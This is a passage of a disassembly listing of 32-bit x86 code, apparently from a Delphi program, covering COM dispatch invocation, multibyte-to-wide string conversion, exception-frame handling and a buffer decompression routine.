mov edx, [ebp+var_38]
mov [edx+8], eax
cmp [ebp+var_2C], 5
jl short loc_4001649F
cmp [ebp+var_2C], 7
jg short loc_4001649F
add [ebp+var_34], 4
mov eax, [ebp+var_34]
mov eax, [eax]
mov edx, [ebp+var_38]
mov [edx+0Ch], eax
loc_4001649F: ; CODE XREF: sub_40016280+12Aj
; sub_40016280+173j ...
add [ebp+var_34], 4
loc_400164A3: ; CODE XREF: sub_40016280+B0j
inc ebx
cmp edi, ebx
jnz loc_40016301
loc_400164AC: ; CODE XREF: sub_40016280+65j
lea eax, [ebp+var_650]
mov [ebp+var_50], eax
mov eax, [ebp+var_28]
add eax, 4
mov [ebp+var_4C], eax
mov [ebp+var_48], edi
movzx eax, byte ptr [esi+2]
mov [ebp+var_44], eax
mov eax, [ebp+var_28]
mov edx, [eax]
movzx eax, byte ptr [esi]
cmp eax, 4
jnz short loc_400164FD
mov ecx, [ebp+var_650]
and ecx, 0FFFh
cmp ecx, 9
jnz short loc_400164EB
mov eax, 8
loc_400164EB: ; CODE XREF: sub_40016280+264j
mov ecx, [ebp+var_28]
mov dword ptr [ecx], 0FFFFFFFDh
sub [ebp+var_4C], 4
inc [ebp+var_44]
jmp short loc_40016511
; ---------------------------------------------------------------------------
loc_400164FD: ; CODE XREF: sub_40016280+253j
cmp eax, 1
jnz short loc_40016511
test edi, edi
jnz short loc_40016511
cmp [ebp+arg_0], 0
jz short loc_40016511
mov eax, 3
loc_40016511: ; CODE XREF: sub_40016280+27Bj
; sub_40016280+280j ...
push 0
lea ecx, [ebp+var_20]
push ecx
mov ecx, [ebp+arg_0]
push ecx
lea ecx, [ebp+var_50]
push ecx
push eax
push 0
mov eax, off_4001AFA8
push eax
push edx
mov eax, [ebp+var_24]
push eax
mov eax, [eax]
call dword ptr [eax+18h]
test eax, eax
jz short loc_4001653E
lea edx, [ebp+var_20]
call sub_40016858
loc_4001653E: ; CODE XREF: sub_40016280+2B4j
mov ebx, [ebp+var_30]
test ebx, ebx
jz short loc_40016561
loc_40016545: ; CODE XREF: sub_40016280+2DFj
dec ebx
lea esi, [ebp+ebx*8+var_250]
mov edi, [esi+4]
test edi, edi
jz short loc_4001655D
mov edx, edi
mov eax, [esi]
call sub_40005650
loc_4001655D: ; CODE XREF: sub_40016280+2D2j
test ebx, ebx
jnz short loc_40016545
loc_40016561: ; CODE XREF: sub_40016280+2C3j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4001658F
loc_4001656E: ; CODE XREF: sub_40016280+30Dj
mov ebx, [ebp+var_30]
test ebx, ebx
jz short locret_40016587
loc_40016575: ; CODE XREF: sub_40016280+305j
dec ebx
mov eax, [ebp+ebx*8+var_250]
push eax
call sub_40006B00
test ebx, ebx
jnz short loc_40016575
locret_40016587: ; CODE XREF: sub_40016280+2F3j
retn
; ---------------------------------------------------------------------------
loc_40016588: ; DATA XREF: sub_40016280+38o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001656E
; ---------------------------------------------------------------------------
loc_4001658F: ; DATA XREF: sub_40016280+2E9o
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400165B2
loc_4001659C: ; CODE XREF: sub_40016280+330j
lea eax, [ebp+var_20]
mov edx, ds:off_40006ABC
call sub_400052C8
retn
; ---------------------------------------------------------------------------
loc_400165AB: ; DATA XREF: sub_40016280+25o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001659C
; ---------------------------------------------------------------------------
loc_400165B2: ; CODE XREF: sub_40016280+32Aj
; DATA XREF: sub_40016280+317o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_40016280 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400165BC proc near ; CODE XREF: sub_400165F0+C4p
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
mov eax, [ebp+arg_0]
mov eax, [eax-4]
mov [ebp+var_8], eax
mov [ebp+var_4], 6
lea eax, [ebp+var_8]
push eax
push 0
mov ecx, off_4001B044
mov dl, 1
mov eax, ds:off_40015D28
call sub_4000B128
call sub_400042E4
pop ecx
pop ecx
pop ebp
retn
sub_400165BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400165F0 proc near ; CODE XREF: sub_400166E8+6Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFE4h
push ebx
push esi
push edi
mov [ebp+var_C], ecx
mov [ebp+var_4], edx
mov [ebp+var_1C], eax
mov ebx, [ebp+var_4]
xor edi, edi
mov [ebp+var_8], esp
mov eax, [ebp+var_C]
inc eax
shl eax, 2
sub esp, eax
lea eax, [ebp+var_10]
mov [eax], esp
loc_40016618: ; CODE XREF: sub_400165F0+99j
mov eax, ebx
call sub_4000815C
mov esi, eax
push 0
push 0
push esi
push ebx
push 0
push 0
call sub_40006610 ; MultiByteToWideChar
inc eax
mov [ebp+var_14], eax
mov eax, [ebp+var_14]
add eax, eax
add eax, 3
and eax, 0FFFFFFFCh
sub esp, eax
lea eax, [ebp+var_18]
mov [eax], esp
test edi, edi
jnz short loc_40016654
mov eax, [ebp+var_10]
mov edx, [ebp+var_18]
mov [eax], edx
jmp short loc_40016662
; ---------------------------------------------------------------------------
loc_40016654: ; CODE XREF: sub_400165F0+58j
mov eax, [ebp+var_C]
sub eax, edi
mov edx, [ebp+var_10]
mov ecx, [ebp+var_18]
mov [edx+eax*4], ecx
loc_40016662: ; CODE XREF: sub_400165F0+62j
mov eax, [ebp+var_14]
push eax
mov eax, [ebp+var_18]
push eax
push esi
push ebx
push 0
push 0
call sub_40006610 ; MultiByteToWideChar
mov eax, [ebp+var_18]
mov edx, [ebp+var_14]
mov word ptr [eax+edx*2-2], 0
inc esi
add ebx, esi
inc edi
cmp edi, [ebp+var_C]
jnz short loc_40016618
mov eax, [ebp+arg_0]
push eax
call sub_400065C8 ; GetThreadLocale
push eax
mov eax, [ebp+var_C]
push eax
mov eax, [ebp+var_10]
push eax
mov eax, off_4001AFA8
push eax
mov eax, [ebp+var_1C]
push eax
mov eax, [eax]
call dword ptr [eax+14h]
cmp eax, 80020006h
jnz short loc_400166BC
push ebp
call sub_400165BC
pop ecx
jmp short loc_400166C1
; ---------------------------------------------------------------------------
loc_400166BC: ; CODE XREF: sub_400165F0+C1j
call sub_4001606C
loc_400166C1: ; CODE XREF: sub_400165F0+CAj
mov esp, [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_400165F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400166D0 proc near ; CODE XREF: sub_400166E8:loc_4001673Bp
mov ecx, off_4001B07C
mov dl, 1
mov eax, ds:off_40015D28
call sub_4000B0EC
call sub_400042E4
retn
sub_400166D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400166E8 proc near ; DATA XREF: .itext:400193A6o
; .bss:off_4001F294o
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
add esp, 0FFFFFEFCh
push ebx
push esi
mov ebx, [ebp+arg_8]
mov eax, [ebp+arg_4]
mov esi, [ebp+arg_0]
cmp byte ptr [ebx+1], 40h
jbe short loc_40016719
mov ecx, off_4001AF64
mov dl, 1
mov eax, ds:off_40015D28
call sub_4000B0EC
call sub_400042E4
loc_40016719: ; CODE XREF: sub_400166E8+18j
movzx edx, word ptr [eax]
cmp dx, 9
jnz short loc_4001672A
mov eax, [eax+8]
mov [ebp+var_4], eax
jmp short loc_40016740
; ---------------------------------------------------------------------------
loc_4001672A: ; CODE XREF: sub_400166E8+38j
cmp dx, 4009h
jnz short loc_4001673B
mov eax, [eax+8]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_40016740
; ---------------------------------------------------------------------------
loc_4001673B: ; CODE XREF: sub_400166E8+47j
call sub_400166D0
loc_40016740: ; CODE XREF: sub_400166E8+40j
; sub_400166E8+51j
lea eax, [ebp+var_104]
push eax
movzx ecx, byte ptr [ebx+2]
inc ecx
movzx eax, byte ptr [ebx+1]
lea edx, [ebx+eax+3]
mov eax, [ebp+var_4]
call sub_400165F0
test esi, esi
jz short loc_40016767
mov eax, esi
call sub_4000E3D8
loc_40016767: ; CODE XREF: sub_400166E8+76j
mov eax, [ebp+arg_C]
push eax
push esi
lea ecx, [ebp+var_104]
mov edx, ebx
mov eax, [ebp+var_4]
call sub_40016280
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_400166E8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40016784 proc near ; CODE XREF: sub_40016858+4p
; sub_40016874+D4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push ebx
push esi
mov [ebp+var_4], ecx
mov ebx, edx
xor edx, edx
push ebp
push offset loc_40016849
push dword ptr fs:[edx]
mov fs:[edx], esp
cmp eax, 80020009h
jnz short loc_40016802
mov eax, [ebx+1Ch]
push eax
lea eax, [ebp+var_8]
mov edx, [ebx+4]
call sub_40004B0C
mov eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
mov edx, [ebx+0Ch]
call sub_40004B0C
mov eax, [ebp+var_C]
push eax
mov eax, [ebx+10h]
push eax
lea eax, [ebp+var_10]
mov edx, [ebx+8]
call sub_40004B0C
mov ecx, [ebp+var_10]
mov dl, 1
mov eax, ds:off_40015DDC
call sub_40015FB8
mov esi, eax
cmp [ebp+arg_0], 0
jz short loc_40016815
mov eax, ebx
mov edx, ds:off_40006ABC
call sub_40005400
jmp short loc_40016815
; ---------------------------------------------------------------------------
loc_40016802: ; CODE XREF: sub_40016784+25j
push eax
push 0
xor ecx, ecx
mov dl, 1
mov eax, ds:off_40015D80
call sub_40015EE4
mov esi, eax
loc_40016815: ; CODE XREF: sub_40016784+6Dj
; sub_40016784+7Cj
cmp [ebp+var_4], 0
jz short loc_40016827
push [ebp+var_4]
mov eax, esi
jmp sub_400042E4
; ---------------------------------------------------------------------------
jmp short loc_4001682E
; ---------------------------------------------------------------------------
loc_40016827: ; CODE XREF: sub_40016784+95j
mov eax, esi
call sub_400042E4
loc_4001682E: ; CODE XREF: sub_40016784+A1j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40016850
loc_4001683B: ; CODE XREF: sub_40016784+CAj
lea eax, [ebp+var_10]
mov edx, 3
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_40016849: ; DATA XREF: sub_40016784+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001683B
; ---------------------------------------------------------------------------
loc_40016850: ; CODE XREF: sub_40016784+C4j
; DATA XREF: sub_40016784+B2o
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_40016784 endp
; =============== S U B R O U T I N E =======================================
sub_40016858 proc near ; CODE XREF: sub_40016280+2B9p
push 0
xor ecx, ecx
call sub_40016784
retn
sub_40016858 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40016864 proc near ; CODE XREF: sub_40016874+A6p
xor ecx, ecx
mov edx, 20h
call sub_40003580
retn
sub_40016864 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40016874 proc near ; CODE XREF: sub_40016958+1Ep
var_30 = byte ptr -30h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
add esp, 0FFFFFFD0h
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
xor edx, edx
mov edi, esp
movzx ecx, byte ptr [ebx+1]
mov [ebp+var_8], ecx
test ecx, ecx
jz short loc_400168DA
add ebx, 3
mov esi, [ebp+arg_10]
loc_40016895: ; CODE XREF: sub_40016874+61j
movzx eax, byte ptr [ebx]
test al, 80h
jnz short loc_400168C4
cmp al, 0Ch
jz short loc_400168B4
cmp al, 5
jb short loc_400168CB
cmp al, 7
ja short loc_400168CB
push dword ptr [esi+4]
push dword ptr [esi]
push edx
push eax
add esi, 8
jmp short loc_400168D3
; ---------------------------------------------------------------------------
loc_400168B4: ; CODE XREF: sub_40016874+2Aj
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
push dword ptr [esi+4]
push dword ptr [esi]
add esi, 10h
jmp short loc_400168D3
; ---------------------------------------------------------------------------
loc_400168C4: ; CODE XREF: sub_40016874+26j
and al, 7Fh
or eax, 4000h
loc_400168CB: ; CODE XREF: sub_40016874+2Ej
; sub_40016874+32j
push edx
push dword ptr [esi]
push edx
push eax
add esi, 4
loc_400168D3: ; CODE XREF: sub_40016874+3Ej
; sub_40016874+4Ej
inc ebx
dec ecx
jnz short loc_40016895
mov ebx, [ebp+arg_4]
loc_400168DA: ; CODE XREF: sub_40016874+19j
mov [ebp+var_10], esp
movzx eax, byte ptr [ebx+2]
mov [ebp+var_4], eax
test eax, eax
jz short loc_400168F2
mov esi, [ebp+arg_C]
loc_400168EB: ; CODE XREF: sub_40016874+7Cj
push dword ptr [esi+eax*4-4]
dec eax
jnz short loc_400168EB
loc_400168F2: ; CODE XREF: sub_40016874+72j
movzx ecx, byte ptr [ebx]
cmp ecx, 4
jnz short loc_40016910
push 0FFFFFFFDh
inc [ebp+var_4]
cmp byte ptr [ebx+3], 9
jz short loc_4001690B
cmp byte ptr [ebx+3], 0Dh
jnz short loc_40016910
loc_4001690B: ; CODE XREF: sub_40016874+8Fj
mov ecx, 8
loc_40016910: ; CODE XREF: sub_40016874+84j
; sub_40016874+95j
mov [ebp+var_C], esp
push edx
lea eax, [ebp+var_30]
push eax
push ecx
push edx
call sub_40016864
pop edx
pop ecx
push [ebp+arg_14]
lea eax, [ebp+var_10]
push eax
push ecx
push edx
push offset dword_4001A7CC
push [ebp+arg_8]
mov eax, [ebp+arg_0]
push eax
mov eax, [eax]
call dword ptr [eax+18h]
test eax, eax
jz short loc_4001694D
lea edx, [ebp+var_30]
mov cl, 1
push ecx
mov ecx, [ebp+4]
jmp sub_40016784
; ---------------------------------------------------------------------------
loc_4001694D: ; CODE XREF: sub_40016874+C9j
mov esp, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 18h
sub_40016874 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40016958 proc near ; DATA XREF: .itext:400193B8o
; .bss:off_4001C000o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
xor eax, eax
push eax
push eax
push eax
push eax
mov eax, esp
push eax
lea eax, [ebp+arg_C]
push eax
push eax
push dword ptr [ebx]
lea eax, [ebx+5]
push eax
push [ebp+arg_4]
call sub_40016874
movzx eax, byte ptr [ebx+4]
mov ebx, [ebp+arg_0]
jmp ds:off_40016989[eax*4]
; ---------------------------------------------------------------------------
off_40016989 dd offset loc_40016A2E ; DATA XREF: sub_40016958+2Ar
dd offset loc_40016A2E
dd offset loc_40016A2A
dd offset loc_40016A2A
dd offset loc_400169CD
dd offset loc_400169D3
dd offset loc_400169D9
dd offset loc_400169D3
dd offset loc_400169DF
dd offset loc_400169F3
dd offset loc_40016A2E
dd offset loc_40016A2A
dd offset loc_40016A07
dd offset loc_400169F3
dd offset loc_40016A2E
dd offset loc_40016A2E
dd offset loc_40016A2A
; ---------------------------------------------------------------------------
loc_400169CD: ; CODE XREF: sub_40016958+2Aj
; DATA XREF: sub_40016958+41o
fld dword ptr [esp+14h+var_C]
jmp short loc_40016A2E
; ---------------------------------------------------------------------------
loc_400169D3: ; CODE XREF: sub_40016958+2Aj
; DATA XREF: sub_40016958+45o ...
fld [esp+14h+var_C]
jmp short loc_40016A2E
; ---------------------------------------------------------------------------
loc_400169D9: ; CODE XREF: sub_40016958+2Aj
; DATA XREF: sub_40016958+49o
fild [esp+14h+var_C]
jmp short loc_40016A2E
; ---------------------------------------------------------------------------
loc_400169DF: ; CODE XREF: sub_40016958+2Aj
; DATA XREF: sub_40016958+51o
mov eax, [ebx]
test eax, eax
jz short loc_400169EB
push eax
call sub_40006B00
loc_400169EB: ; CODE XREF: sub_40016958+8Bj
mov eax, dword ptr [esp+14h+var_C]
mov [ebx], eax
jmp short loc_40016A2E
; ---------------------------------------------------------------------------
loc_400169F3: ; CODE XREF: sub_40016958+2Aj
; DATA XREF: sub_40016958+55o ...
mov eax, [ebx]
test eax, eax
jz short loc_400169FF
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_400169FF: ; CODE XREF: sub_40016958+9Fj
mov eax, dword ptr [esp+14h+var_C]
mov [ebx], eax
jmp short loc_40016A2E
; ---------------------------------------------------------------------------
loc_40016A07: ; CODE XREF: sub_40016958+2Aj
; DATA XREF: sub_40016958+61o
mov eax, ebx
call sub_4000E3D8
mov eax, [esp+14h+var_14]
mov [ebx], eax
mov eax, [esp+14h+var_10]
mov [ebx+4], eax
mov eax, dword ptr [esp+14h+var_C]
mov [ebx+8], eax
mov eax, dword ptr [esp+14h+var_C+4]
mov [ebx+0Ch], eax
jmp short loc_40016A2E
; ---------------------------------------------------------------------------
loc_40016A2A: ; CODE XREF: sub_40016958+2Aj
; DATA XREF: sub_40016958+39o ...
mov eax, dword ptr [esp+14h+var_C]
loc_40016A2E: ; CODE XREF: sub_40016958+2Aj
; sub_40016958+79j ...
add esp, 10h
pop ebx
pop ebp
retn
sub_40016958 endp
; =============== S U B R O U T I N E =======================================
sub_40016A34 proc near ; DATA XREF: .itext:400193E6o
; .bss:off_4001C044o
cmp ds:dword_4001F370, 0
jz short loc_40016A43
call ds:dword_4001F370
loc_40016A43: ; CODE XREF: sub_40016A34+7j
cmp dword_4001ADA0, 0FFFFFFFFh
jz short loc_40016A9B
cmp dword_4001AD8C, 0
jz short loc_40016A9B
mov eax, dword_4001ADA0
push eax
push 0
call dword_4001AD8C
test eax, 80000000h
setz al
mov ds:byte_4001F374, al
mov eax, off_4001AF20
cmp byte ptr [eax], 0
jnz short loc_40016A90
test byte ptr dword_4001ADA0, 2
jnz short loc_40016A90
cmp dword_4001ADA0, 0
jz short loc_40016A90
xor eax, eax
jmp short loc_40016A92
; ---------------------------------------------------------------------------
loc_40016A90: ; CODE XREF: sub_40016A34+44j
; sub_40016A34+4Dj ...
mov al, 1
loc_40016A92: ; CODE XREF: sub_40016A34+5Aj
mov edx, off_4001AF20
mov [edx], al
retn
; ---------------------------------------------------------------------------
loc_40016A9B: ; CODE XREF: sub_40016A34+16j
; sub_40016A34+1Fj
push 0
call sub_40006AF0
test eax, 80000000h
setz al
mov ds:byte_4001F374, al
retn
sub_40016A34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40016AB0 proc near ; DATA XREF: .text:400183D0o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_40016B26
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4001F364
jnz short loc_40016B18
mov ds:byte_4001F368, 1
mov eax, ds:dword_4001F36C
call sub_40003CE8
mov eax, off_4001B054
xor edx, edx
mov [eax], edx
mov eax, off_4001AEF8
xor edx, edx
mov [eax], edx
mov eax, off_4001B02C
xor edx, edx
mov [eax], edx
cmp ds:byte_4001F374, 0
jz short loc_40016B03
call sub_40006AF8
loc_40016B03: ; CODE XREF: sub_40016AB0+4Cj
mov eax, offset dword_4001ADA4
mov ecx, 5
mov edx, ds:off_40001000
call sub_40005314
loc_40016B18: ; CODE XREF: sub_40016AB0+17j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40016B2D
loc_40016B25: ; CODE XREF: sub_40016AB0+7Bj
retn
; ---------------------------------------------------------------------------
loc_40016B26: ; DATA XREF: sub_40016AB0+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40016B25
; ---------------------------------------------------------------------------
loc_40016B2D: ; CODE XREF: sub_40016AB0:loc_40016B25j
; DATA XREF: sub_40016AB0+70o
pop ebp
retn
sub_40016AB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40016B30 proc near ; CODE XREF: sub_40016B44+7Fp
jmp ds:dword_40024668
sub_40016B30 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40016B38 proc near ; CODE XREF: sub_40016B44+25p
; sub_40016C04+31p ...
test eax, eax
jz short locret_40016B41
sub eax, 4
mov eax, [eax]
locret_40016B41: ; CODE XREF: sub_40016B38+2j
retn
sub_40016B38 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40016B44 proc near ; CODE XREF: .itext:400197C1p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_40016BF1
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+arg_4]
call sub_40016B38
mov ebx, eax
cmp ebx, 4
jbe short loc_40016BD4
lea eax, [ebp+arg_4]
call sub_40004DA0
mov edi, eax
mov edx, [edi]
mov eax, esi
call sub_40004F74
cmp dword ptr [edi], 80000h
jbe short loc_40016B99
mov [ebp+var_8], 2
jmp short loc_40016BA0
; ---------------------------------------------------------------------------
loc_40016B99: ; CODE XREF: sub_40016B44+4Aj
mov [ebp+var_8], 102h
loc_40016BA0: ; CODE XREF: sub_40016B44+53j
lea eax, [ebp+var_4]
push eax
sub ebx, 4
push ebx
lea eax, [ebp+arg_4]
call sub_40004DA0
add eax, 4
push eax
mov eax, [edi]
push eax
mov eax, esi
call sub_40004DA0
push eax
mov eax, [ebp+var_8]
push eax
call sub_40016B30 ; RtlDecompressBuffer
mov eax, esi
mov edx, [ebp+var_4]
call sub_40004F74
jmp short loc_40016BDB
; ---------------------------------------------------------------------------
loc_40016BD4: ; CODE XREF: sub_40016B44+2Fj
mov eax, esi
call sub_40004884
loc_40016BDB: ; CODE XREF: sub_40016B44+8Ej
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40016BF8
loc_40016BE8: ; CODE XREF: sub_40016B44+B2j
lea eax, [ebp+arg_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40016BF1: ; DATA XREF: sub_40016B44+17o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40016BE8
; ---------------------------------------------------------------------------
loc_40016BF8: ; CODE XREF: sub_40016B44+ACj
; DATA XREF: sub_40016B44+9Fo
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn 8
sub_40016B44 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40016C04 proc near ; CODE XREF: .itext:400197CEp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
xor eax, eax
mov [ebp+var_10], eax
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_40016CCD
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, esi
call sub_40004884
mov eax, [ebp+arg_4]
call sub_40016B38
mov [ebp+var_8], eax
mov edi, 1
cmp edi, [ebp+var_8]
ja short loc_40016CAF
loc_40016C47: ; CODE XREF: sub_40016C04+A9j
mov eax, [ebp+arg_4]
movzx ebx, byte ptr [eax+edi-1]
test bl, bl
jnz short loc_40016C8F
mov eax, [ebp+arg_4]
movzx eax, byte ptr [eax+edi]
mov [ebp+var_1], al
mov eax, [esi]
call sub_40016B38
mov [ebp+var_C], eax
movzx edx, [ebp+var_1]
add edx, [ebp+var_C]
mov eax, esi
call sub_40004F74
mov eax, esi
call sub_40004DA0
mov edx, [ebp+var_C]
add eax, edx
movzx edx, [ebp+var_1]
xor ecx, ecx
call sub_40003580
inc edi
jmp short loc_40016CA9
; ---------------------------------------------------------------------------
loc_40016C8F: ; CODE XREF: sub_40016C04+4Dj
lea eax, [ebp+var_10]
mov edx, [ebp+arg_4]
movzx edx, byte ptr [edx+edi-1]
call sub_40004A6C
mov edx, [ebp+var_10]
mov eax, esi
call sub_40004B50
loc_40016CA9: ; CODE XREF: sub_40016C04+89j
inc edi
cmp edi, [ebp+var_8]
jbe short loc_40016C47
loc_40016CAF: ; CODE XREF: sub_40016C04+41j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40016CD4
loc_40016CBC: ; CODE XREF: sub_40016C04+CEj
lea eax, [ebp+var_10]
call sub_40004884
lea eax, [ebp+arg_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40016CCD: ; DATA XREF: sub_40016C04+1Co
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40016CBC
; ---------------------------------------------------------------------------
loc_40016CD4: ; CODE XREF: sub_40016C04+C8j
; DATA XREF: sub_40016C04+B3o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_40016C04 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40016CE0 proc near ; CODE XREF: .itext:40019A90p
jmp ds:dword_40024670
sub_40016CE0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40016CE8 proc near ; CODE XREF: sub_40017374+41p
; .itext:40019606p ...
var_104 = byte ptr -104h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFEFCh
push ebx
push esi
xor ecx, ecx
mov [ebp+var_4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_40016D45
push dword ptr fs:[eax]
mov fs:[eax], esp
lea edx, [ebp+var_104]
mov eax, ebx
call sub_40003790
lea edx, [ebp+var_104]
lea eax, [ebp+var_4]
call sub_40004AE8
mov eax, esi
mov edx, [ebp+var_4]
call sub_400048D8
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40016D4C
loc_40016D3C: ; CODE XREF: sub_40016CE8+62j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40016D45: ; DATA XREF: sub_40016CE8+17o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40016D3C
; ---------------------------------------------------------------------------
loc_40016D4C: ; CODE XREF: sub_40016CE8+5Cj
; DATA XREF: sub_40016CE8+4Fo
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40016CE8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40016D54 proc near ; CODE XREF: sub_40016D80+B4p
; sub_40016D80+FBp
push ecx
mov edx, esp
call sub_4000379C
pop edx
retn
sub_40016D54 endp
; ---------------------------------------------------------------------------
align 10h
off_40016D60 dd offset dword_40016D64 ; DATA XREF: sub_40016D80+7Dr
; sub_40016D80+12Er ...
dword_40016D64 dd 312E0211h, 4 dd offset off_40001000
dd 48h
dd offset off_40001000
dd 75745304h, 408D62h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40016D80 proc near ; CODE XREF: .itext:4001979Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_10], edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_40016F53
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_8]
mov edx, [ebp+var_4]
call sub_4000491C
loc_40016DB5: ; CODE XREF: sub_40016D80+60j
mov edx, [ebp+var_8]
mov eax, offset dword_40016F6C
call sub_40004E30
mov ecx, eax
lea eax, [ebp+var_8]
mov edx, 1
call sub_40004DE8
mov edx, [ebp+var_8]
mov eax, offset dword_40016F6C
call sub_40004E30
test eax, eax
jg short loc_40016DB5
xor edi, edi
lea eax, [ebp+var_C]
xor ecx, ecx
mov edx, 4
call sub_40003580
push 1
lea eax, [ebp+var_C]
mov ecx, 1
mov edx, ds:off_40016D60
call sub_40005B28
add esp, 4
jmp loc_40016EE1
; ---------------------------------------------------------------------------
